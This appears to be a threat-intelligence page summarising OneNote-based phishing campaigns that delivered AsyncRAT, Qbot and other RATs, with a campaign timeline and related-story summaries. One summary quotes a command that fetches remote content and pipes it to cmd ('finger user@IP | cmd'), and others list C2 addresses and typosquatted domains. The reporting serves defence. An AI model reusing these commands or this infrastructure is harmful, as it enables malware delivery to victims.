Loading story…
Threat researchers reported that cybercriminals increasingly used Microsoft OneNote documents in phishing campaigns to deliver malware after Microsoft began blocking macros by default. Campaigns observed across North America, Europe, and other regions used OneNote attachments or links to .one files to distribute payloads including AsyncRAT, Qbot, RedLine, AgentTesla, Quasar RAT, XWorm, NetWire, and DOUBLEBACK. In the observed infection flow, victims had to open the OneNote file, double-click an embedded object disguised behind a lure image, and then approve a warning prompt before the malicious script or executable launched.
Detailed analysis of one phishing-themed sample, PaymentAdv.one, showed the document dropping an obfuscated batch file, zoo1.bat, which executed heavily obfuscated PowerShell to decrypt embedded payloads. Researchers found the script split a base64-encoded encrypted blob into data, an AES key, and an index, then decrypted and gzip-decoded it to recover executables; one recovered payload was a .NET binary packed with AgileDotNet and later identified, after unpacking and deobfuscation with de4dot, as AsyncRAT. Proofpoint also linked renewed TA577 activity to OneNote-delivered Qbot and noted that some OneNote malware samples had low antivirus detection when first analyzed.
Get the infrastructure and lures behind it.
9 events from the most recent confirmed update back to the earliest known activity.
On 31 January 2023, Proofpoint observed TA577 return from a month-long hiatus and use a OneNote-based infection chain to deliver Qbot. The campaign used URLs leading to a zipped OneNote file.
Also on 19 January 2023, Proofpoint observed a low-volume thread-hijacking campaign distributing the DOUBLEBACK backdoor through a ZIP archive containing a OneNote file. The lure executed an embedded VBS file that downloaded a PowerShell script to run DOUBLEBACK.
On 19 January 2023, Proofpoint observed two campaigns using URLs to deliver OneNote files that led to XWorm and DOUBLEBACK payloads. The campaigns reflected broader experimentation with OneNote-based delivery methods.
Proofpoint first observed Netwire being delivered through a OneNote campaign on 12 January 2023. This added another RAT family to the growing set of malware using the technique.
On 11 January 2023, Proofpoint first observed OneNote campaigns delivering Redline and AgentTesla. The finding showed continued diversification of payloads in these email-borne attacks.
Proofpoint first observed OneNote-delivered campaigns distributing Quasar RAT and XWorm on 9 January 2023. This marked an expansion in the malware families being delivered through OneNote lures.
In mid-January 2023, Proofpoint observed threat actors using URLs to deliver OneNote files instead of only attaching them directly to emails. The execution chain remained the same, still relying on users opening the file and interacting with embedded content.
Proofpoint observed six OneNote attachment campaigns in December 2022 that delivered AsyncRAT. Some December campaigns used invoice, shipping, aerospace, and holiday-themed lures to target organizations including manufacturing, industrial, and education sectors.
Researchers reported that attackers started using malicious Microsoft OneNote documents as a malware delivery mechanism in December 2022. Early campaigns delivered malware such as AsyncRAT and used embedded files hidden behind lure graphics that required user interaction to execute.
Vulnerabilities, threat actors, malware, products, organizations, breaches, and observables Mallory has linked to this story. Indicator values are masked here and available in full in the app.
Indicator values are masked on this page. View all 55 in Mallory Domains, IPs, hashes, and URLs are exportable to your SIEM.
Get the infrastructure, lures, and IOCs behind this campaign, ready to push into your email and identity stack.
2 references tracked. Mallory keeps watching after this page renders.
Map indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
Multiple threat reports describe **social-engineering-driven malware delivery** leading to remote access and follow-on payload deployment. Fortinet observed a **multi-stage phishing campaign targeting users in Russia** that delivers **Amnesia RAT** and ransomware via business-themed decoy documents and a malicious `.lnk` shortcut using a double extension (e.g., `*.txt.lnk`). The infection chain uses public cloud services for staging—**GitHub** for scripts and **Dropbox** for binary payloads—and abuses **defendnot** to trick Windows into believing a third-party AV is installed, effectively disabling **Microsoft Defender** before later-stage execution. Separately, Huntress attributed activity to **KongTuke**, which uses **malicious browser extensions** to display fake “browser crash” security alerts (“**CrashFix**”) that pressure users into running attacker-provided commands, and also deploys a Python RAT dubbed **ModeloRAT**. ModeloRAT is described as heavily obfuscated, using **Windows Registry** persistence and **RC4**-encrypted communications, with the ability to deliver additional payloads (DLLs, executables, scripts). Red Canary’s January intelligence update highlights **Scarlet Goldfinch** activity using **paste-and-run** lures and a notable technique of using the Windows `finger` client to pull remote content (e.g., `finger user@IP | cmd`), followed by `curl` download of an archive masquerading as a PDF and extraction via `tar -xf`, culminating in **Remcos** (and sometimes **NetSupport**) delivered via **DLL sideloading**.
Jun 29, 2026
Multiple malware campaigns delivered remote access trojans including **NanoCore**, **NetWire**, **AsyncRAT**, **Quasar RAT**, and **PlugX** through phishing lures and staged payloads behind legitimate-looking files. Cisco Talos reported a campaign that used malicious ZIP archives containing ISO images and heavily obfuscated JavaScript, batch, or VBScript loaders to fetch additional malware from **Microsoft Azure** and **Amazon Web Services**, while **DuckDNS** domains supported delivery and command-and-control. Fortinet separately documented travel-themed lures such as itinerary and booking files that pushed **AsyncRAT** and **NetWire**, often requiring victims to manually launch executables hidden inside ZIP or ISO containers; the use of ISO files helped bypass **Mark-of-the-Web** protections and reduced security scrutiny. Fortinet also linked a separate espionage operation attributed to **APT10** to DLL side-loading with the legitimate Java component `jjs.exe`, loading a malicious `jli.dll`, decrypting `svchost.bin`, and injecting shellcode into `svchost.exe` to deploy **PlugX** and a modified **Quasar RAT**. That activity used persistence via a service or a Run key named **"Windows Updata"**, and relied on typosquatted infrastructure such as `update.microsofts.org`, `update.kaspresksy.com`, and `cahe.microsofts.org`. CISA has also tracked **Quasar** as an open-source remote administration tool, underscoring how both commodity and state-linked actors continue to rely on RAT malware, cloud-hosted staging, dynamic DNS, and deceptive attachment formats to gain and maintain access.
Aug 15, 2026
Multiple campaigns are using phishing emails and archive-based lures to deliver remote access malware through stealthy, multi-stage infection chains. Point Wild documented **Remcos RAT**, **DesckVB RAT**, and a Rust-based **COVERT RAT** being delivered through ZIP attachments, weaponized `LNK` files, obfuscated JavaScript droppers, and hidden PowerShell execution, often with decoy documents to mask activity. The payloads were loaded filelessly through .NET reflection and in-memory execution, with operators abusing legitimate binaries and services such as `aspnet_compiler.exe`, GitHub, and paste or web-hosting platforms to stage malware while evading detection. Reported command-and-control infrastructure included `192.3.27.141:8087`, `172.245.246.77:8080`, and `181.231.253.69:4444`, while observed artifacts included `C:\ProgramData\remcos\logs.dat`, `C:\ProgramData\colors\logs.dat`, and payload names such as `ALTERNATE.dll`, `ClassLibrary3.dll`, `Keylogger.dll`, and `msedge_proxy.exe`. Separate reporting showed the same tradecraft extending beyond custom RATs to commodity remote-access software and credential theft. A campaign targeting Russian aerospace and aviation organizations used invoice-themed phishing and spoofed domains to install a portable **AnyDesk** instance for unattended access, maintain persistence with a scheduled task, minimize visibility with Tray Minimizer, and exfiltrate configuration data through a command-line SMTP mailer; Seqrite linked the activity to **Rare Werewolf (Librarian Ghouls)**. Securonix research cited by Trojan Killer described **VEIL#DROP** using fake document-style JavaScript files, Blogspot-hosted staging, PowerShell download cradles, XOR decoding, and in-memory .NET loading to deploy **PureLog Stealer**, which targets browser credentials, cookies, session tokens, wallet data, and host information. Across the campaigns, the common pattern is phishing-led initial access followed by LOLBins, PowerShell, staged downloads, persistence, and covert data theft or long-term remote control.
Jul 12, 2026